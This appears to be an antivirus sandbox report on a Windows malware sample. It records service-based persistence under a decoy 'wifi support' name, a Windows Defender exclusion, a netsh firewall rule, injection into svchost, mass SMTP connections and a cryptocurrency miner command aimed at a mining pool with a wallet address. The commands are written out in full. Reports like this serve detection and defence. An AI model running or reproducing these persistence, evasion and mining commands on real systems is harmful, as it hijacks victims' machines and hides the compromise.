Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\lnuasdj] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\lnuasdj] 'ImagePath' = '%WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\lnuasdj] 'ImagePath' = '%WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe'
Creates the following services
- 'lnuasdj' %WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe /d"<Full path to file>"
- 'lnuasdj' %WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\lnuasdj' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\dxtzkums.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\dxtzkums.exe to %WINDIR%\syswow64\lnuasdj\dxtzkums.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx#.#eznam.cz':25
- 'mx.###turylink.net':25
- 'mx#######101.gslb.pphosted.com':25
- 'mx#.###.#ailpod2-cph3.one.com':25
- 'mx######33a01.pphosted.com':25
- 'mx#######f02.gslb.pphosted.com':25
- 'mx#######802.gslb.pphosted.com':25
- 'ma##.##diffmailpro.com':25
- 'em##.freenet.de':25
- 'mx.####gisteredsite.com':25
- 'mx#######c01.gslb.pphosted.com':25
- 'we##.####.exch090.serverdata.net':25
- 'ma##.cwo.com':25
- 'mx##.##ndenserver.de':25
- 'mx#.#omcast.net':25
- 'mx##.schlund.de':25
- 'mx##.#-online.de':25
- 'ma##.##ltsystems.com':25
- 'google.com':80
- '18#.#9.68.143':420
- '92.##.129.26':420
- 'mx#.#iz.rr.com':25
- 'mx###.###east.atmailcloud.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'd1######.#ss.barracudanetworks.com':25
- 'ma##.#ope-mail.com':25
- 'mx##.#echnomail.xyz':25
- 'ma####.visionexpress.in':25
- 'w2.##istas.net':25
- 'mx#######401.gslb.pphosted.com':25
- 'mx#.gmx.com':25
- 'mx##.#and1.co.uk':25
- 'mx##.mb5p.com':25
- 'mx#.#itan.email':25
- 'i.###tagram.com':443
- 'mx.##money.net':25
- 'ma##.##pathletic.com':25
- 'mx######ed601.pphosted.com':25
- 'cr###.flash.net':25
- 'mx#######b02.gslb.pphosted.com':25
- 'mx#######402.gslb.pphosted.com':25
- 'ma##.#-email.net':25
- 'mx######7f401.pphosted.com':25
- '96############8add3c20ec307beb.pamx1.hotmail.com':25
- 'jo###########a-com.mail.protection.outlook.com':25
- 'ty##tar.com':25
- 'ow#.###folkobgyn.com':25
- 'ma##.##ebirdgroup.com':25
- '77.##2.55.43':420
- '19#.#6.146.41':420
- '19#.#6.146.43':420
- 'mx#######f01.gslb.pphosted.com':25
- 'ma##.aeneas.com':25
- 'mx##.mail.com':25
- 'mx##.1and1.com':25
- 'ma##.##atherlinks.in':25
- 'ma######e1.secureserver.net':25
- 'cx#.##.#.cloudfilter.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'ff######x-vip1.prodigy.net':25
- 'aspmx.l.google.com':25
- 'ma##.#lackfast.com':25
- 'mx#.#aver.com':25
- 'mx.##.#tinternet.com':25
- 'mx.##homail.com':25
- 'cl####.spamtitan.com':25
- 'fa###ool.xyz':10060
- 've########.mail.protection.outlook.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'sm##.##cureserver.net':25
- 'de###twax.ru':484
- 'de###twax.ru':443
- 'mx.##s.untd.com':25
- 'sm##.#opmail.com':25
- 'in.###estore.net':25
- 'mx.#####rong.synacor.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx#######901.gslb.pphosted.com':25
- 'mx##.###lspamprotection.com':25
- 'mx#.##ailsrvr.com':25
- 'mt##.##0.yahoodns.net':25
- 'ma###.#aint-gobain.com':25
- 'mx.#p.pl':25
- 'mx#######601.gslb.pphosted.com':25
- 'we#####.bharatcouriers.in':25
- 'mx######b3401.pphosted.com':25
- 'tn####.telefonica.net':25
- 'mx#######a01.gslb.pphosted.com':25
- 'sm##.renault.fr':25
- 'ma#######xcite.roc2.bluetie.com':25
- 'mx.###denlink.net':25
- 'mx.#len.pl':25
- 'mx.########.com.cust.b.hostedemail.com':25
- 'do##d.org':25
- 'au##########n.mail.protection.outlook.com':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx#.###.#ailpod10-cph3.one.com':25
- 'mx#.###endfinder.com':25
- '19#.#6.146.42':420
- 'ma######er1b.mijndomein.nl':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'de###twax.ru':443
- 'ma##.cwo.com':25
- 'mx.####gisteredsite.com':25
- 'ma##.##diffmailpro.com':25
- 'al######x-vip1.prodigy.net':25
- 'ma##.##atherlinks.in':25
- 'mx#.###.#ailpod2-cph3.one.com':25
- 'do##d.org':25
- 'mx#.#eznam.cz':25
- 'd1######.#ss.barracudanetworks.com':25
- 'ma##.aeneas.com':25
- 'ow#.###folkobgyn.com':25
- '96############8add3c20ec307beb.pamx1.hotmail.com':25
- 'ty##tar.com':25
- 'ma##.#-email.net':25
- 'cr###.flash.net':25
- 'i.###tagram.com':443
- 'ma##.##pathletic.com':25
- 'alt2.aspmx.l.google.com':25
- 'mx##.mb5p.com':25
- 'w2.##istas.net':25
- 'ma##.##ltsystems.com':25
- 'alt1.aspmx.l.google.com':25
- '92.##.129.26':420
- '77.##2.55.43':420
- '19#.#6.146.41':420
- 'fa###ool.xyz':10060
- 'mx.##homail.com':25
- 'mx.##.#tinternet.com':25
- 'ma##.#lackfast.com':25
- 'cl####.spamtitan.com':25
- 've########.mail.protection.outlook.com':25
- 'mx#.#aver.com':25
- 'aspmx.l.google.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx#.#itan.email':25
- 'jo###########a-com.mail.protection.outlook.com':25
- 'ff######x-vip1.prodigy.net':25
- 'mx#.###.#ailpod10-cph3.one.com':25
- 'mx#.###endfinder.com':25
- 'tn####.telefonica.net':25
- 'mt##.##0.yahoodns.net':25
- 'mx#.##ailsrvr.com':25
- 'mx##.###lspamprotection.com':25
- '19#.#6.146.42':420
- '19#.#6.146.43':420
- '18#.#9.68.143':420
- 'de###twax.ru':484
- 'sm##.#opmail.com':25
- 'ma######er1b.mijndomein.nl':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mi####lrieser.com
- DNS ASK ro###tmail.com
- DNS ASK st####kaiser.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK ph###raiser.com
- DNS ASK ce###rytel.net
- DNS ASK mx.###turylink.net
- DNS ASK ve##zon.net
- DNS ASK se##am.cz
- DNS ASK mx#.#eznam.cz
- DNS ASK om####-jensen.com
- DNS ASK mx#.###.#ailpod2-cph3.one.com
- DNS ASK di##yn.com
- DNS ASK mx###.###east.atmailcloud.com
- DNS ASK so####ideobgyn.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK gl###lstar.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK su####kobgyn.com
- DNS ASK ow#.###folkobgyn.com
- DNS ASK ty##tar.com
- DNS ASK jo####glehonda.com
- DNS ASK jo###########a-com.mail.protection.outlook.com
- DNS ASK mx#.#iz.rr.com
- DNS ASK te##tar.com
- DNS ASK mx######33a01.pphosted.com
- DNS ASK as###laser.com
- DNS ASK 96############8add3c20ec307beb.pamx1.hotmail.com
- DNS ASK mx##.##ndenserver.de
- DNS ASK gu##rer.com
- DNS ASK cw#.com
- DNS ASK ma##.cwo.com
- DNS ASK so####cutrer.com
- DNS ASK no######ntytreasurer.com
- DNS ASK in##rer.com
- DNS ASK do####chaser.com
- DNS ASK ci####chaser.com
- DNS ASK ad###aser.com
- DNS ASK we##.####.exch090.serverdata.net
- DNS ASK io###aser.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK me###ser.com
- DNS ASK mx.####gisteredsite.com
- DNS ASK fr##net.de
- DNS ASK em##.freenet.de
- DNS ASK ri###laser.com
- DNS ASK ma##.##diffmailpro.com
- DNS ASK li####nlaser.com
- DNS ASK mx#######802.gslb.pphosted.com
- DNS ASK pl###ser.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK el###tar.com
- DNS ASK mx#.#omcast.net
- DNS ASK ta##r.com
- DNS ASK bh####couriers.in
- DNS ASK co##ar.com
- DNS ASK rx###puters.in
- DNS ASK su##y.net
- DNS ASK mx#.gmx.com
- DNS ASK qu##tar.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK el##tas.net
- DNS ASK w2.##istas.net
- DNS ASK vi####express.in
- DNS ASK ma####.visionexpress.in
- DNS ASK sh##mail.de
- DNS ASK oc##b.com
- DNS ASK vx##ess.in
- DNS ASK mx##.#echnomail.xyz
- DNS ASK co####bshome.com
- DNS ASK ba#####merbenefits.com
- DNS ASK am##eus.in
- DNS ASK ma##.##ebirdgroup.com
- DNS ASK fr##ru.com
- DNS ASK ma##.#ope-mail.com
- DNS ASK ch###tos.net
- DNS ASK pe##rus.in
- DNS ASK co#####sideautos.net
- DNS ASK da###slaban.com
- DNS ASK ma######er1b.mijndomein.nl
- DNS ASK fr###oheban.com
- DNS ASK mx##.#and1.co.uk
- DNS ASK co##ast.net
- DNS ASK mu###rer.com
- DNS ASK mo###-mail.com
- DNS ASK gm##.com
- DNS ASK ma##.#-email.net
- DNS ASK so####ayobgyn.com
- DNS ASK vi#####ofbrooklyn.com
- DNS ASK ec###tar.com
- DNS ASK mx#######402.gslb.pphosted.com
- DNS ASK bi##tar.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK br##.com
- DNS ASK cr###.flash.net
- DNS ASK je##tar.com
- DNS ASK gr###tar.com
- DNS ASK ar##syn.com
- DNS ASK mx######ed601.pphosted.com
- DNS ASK hd##ney.net
- DNS ASK mx.##money.net
- DNS ASK rm###hletic.com
- DNS ASK ma##.##pathletic.com
- DNS ASK i.###tagram.com
- DNS ASK as###ney.net
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK de##ey.net
- DNS ASK co##ey.net
- DNS ASK to##ail.net
- DNS ASK mx#.#itan.email
- DNS ASK mx##.mb5p.com
- DNS ASK mx######7f401.pphosted.com
- DNS ASK mx##.schlund.de
- DNS ASK ka#####luesterer.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK ad##.com
- DNS ASK ma######e1.secureserver.net
- DNS ASK ad###tair.com
- DNS ASK me###last.com
- DNS ASK le###erlinks.in
- DNS ASK ma##.##atherlinks.in
- DNS ASK we###ails.in
- DNS ASK ad####urehostel.com
- DNS ASK mx##.1and1.com
- DNS ASK lo###ble.com
- DNS ASK mx##.mail.com
- DNS ASK pa###hplast.com
- DNS ASK ae##as.net
- DNS ASK ma##.aeneas.com
- DNS ASK ma##.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK pt##ans.in
- DNS ASK ne##ero.net
- DNS ASK mx.##s.untd.com
- DNS ASK yo##ail.com
- DNS ASK sm##.#opmail.com
- DNS ASK so###linea.com
- DNS ASK co###serve.com
- DNS ASK at#.net
- DNS ASK co#.net
- DNS ASK bu####e-express.com
- DNS ASK in.###estore.net
- DNS ASK aspmx.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ad##rt.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK sm##.##cureserver.net
- DNS ASK am###trade.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK ve##cis.in
- DNS ASK ve########.mail.protection.outlook.com
- DNS ASK de###twax.ru
- DNS ASK ad###ewear.com
- DNS ASK cl####.spamtitan.com
- DNS ASK un###ewaves.in
- DNS ASK mx.##homail.com
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK bl###fast.com
- DNS ASK ma##.#lackfast.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho###gofast.com
- DNS ASK fa###ool.xyz
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK mu##ey.net
- DNS ASK zo####ternet.net
- DNS ASK mx#.###endfinder.com
- DNS ASK mh###uck.com
- DNS ASK wp.pl
- DNS ASK mx.#p.pl
- DNS ASK sa####gobain.com
- DNS ASK ma###.#aint-gobain.com
- DNS ASK fr###iernet.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK re#####ibletravel.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK fu#####cletravel.com
- DNS ASK tw####ldstravel.com
- DNS ASK le####travel.com
- DNS ASK mx##.###lspamprotection.com
- DNS ASK fl####amoves.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK am###tech.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK google.com
- DNS ASK ho###ystems.com
- DNS ASK ma##.##ltsystems.com
- DNS ASK du##r.com
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK su##r.com
- DNS ASK mx.#####rong.synacor.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK br###thru.com
- DNS ASK li###aters.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK be###outh.net
- DNS ASK br##narp.se
- DNS ASK mx#.###.#ailpod10-cph3.one.com
- DNS ASK pa###ast.com
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK au###iders.in
- DNS ASK au##########n.mail.protection.outlook.com
- DNS ASK do##d.org
- DNS ASK mi###ast.com
- DNS ASK mx.########.com.cust.b.hostedemail.com
- DNS ASK o2.pl
- DNS ASK mx.#len.pl
- DNS ASK su###nlink.net
- DNS ASK mx.###denlink.net
- DNS ASK ex##te.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK re##ult.com
- DNS ASK sm##.renault.fr
- DNS ASK te###onica.net
- DNS ASK tn####.telefonica.net
- DNS ASK sb###obal.net
- DNS ASK de##a.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK ar####rmittal.com
- DNS ASK mx######b3401.pphosted.com
- DNS ASK we#####.bharatcouriers.in
- DNS ASK mx#.##ckeyecom.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\lnuasdj\dxtzkums.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lnuasdj\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxtzkums.exe" %WINDIR%\SysWOW64\lnuasdj\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create lnuasdj binPath= "%WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description lnuasdj "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start lnuasdj' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lnuasdj\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxtzkums.exe" %WINDIR%\SysWOW64\lnuasdj\
- '%WINDIR%\syswow64\sc.exe' create lnuasdj binPath= "%WINDIR%\SysWOW64\lnuasdj\dxtzkums.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description lnuasdj "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start lnuasdj
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half